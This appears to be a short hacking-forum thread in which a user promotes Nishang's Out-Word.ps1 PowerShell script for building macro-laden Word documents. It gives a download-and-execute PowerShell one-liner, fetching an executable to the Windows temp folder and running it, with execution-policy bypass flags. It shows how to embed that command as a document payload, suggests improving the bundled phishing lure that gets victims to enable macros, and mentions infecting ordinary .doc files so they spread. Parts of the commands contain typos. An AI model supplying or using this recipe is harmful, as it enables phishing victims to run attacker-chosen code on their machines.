[Unit 61398]

Stop Paying for Macro builders, when you could get it for free and open source.

Part of Nishang, a framework of powershell tools for pen testing.

Doc Macro builder: https://github.com/samratashok/nishang/b...t-Word.ps1

Powershell command to download to temp folder and run:

(New-Object System.Net.WebClient).DownloadFile('http://www.example.com/example.exe','C:\windows\temp\example.exe');&'C:\windows\temp\example.exe'

[kauf]

more explanation on how this can be used. just a .ps1 on github

[Unit 61398]

Download the file then open a powershell terminal cd into the download folder and "include" the file by running

. .\Out-Word.ps1

Then you can run it with any parameters by
Out-File -Paylod "powershell.exe -noni -exec bypass -nop (New-Object System.Net.WebClient).DownloadFile('http://www.example.com/example.exe','C:\windows\temp\example.exe');&'C:\windows\temp\example.exe' -OurputFile test.doc

It includes a simple phishing page to get the user to enable macros, but you would want to replace this with something more bettee

Here is a decent guide: http://www.labofapenetrationtester.com/2...chive.html

It can also "infect" regular .docs and can be executed client side to spread the virus

[CichyCichoCiemny]

Looks cool.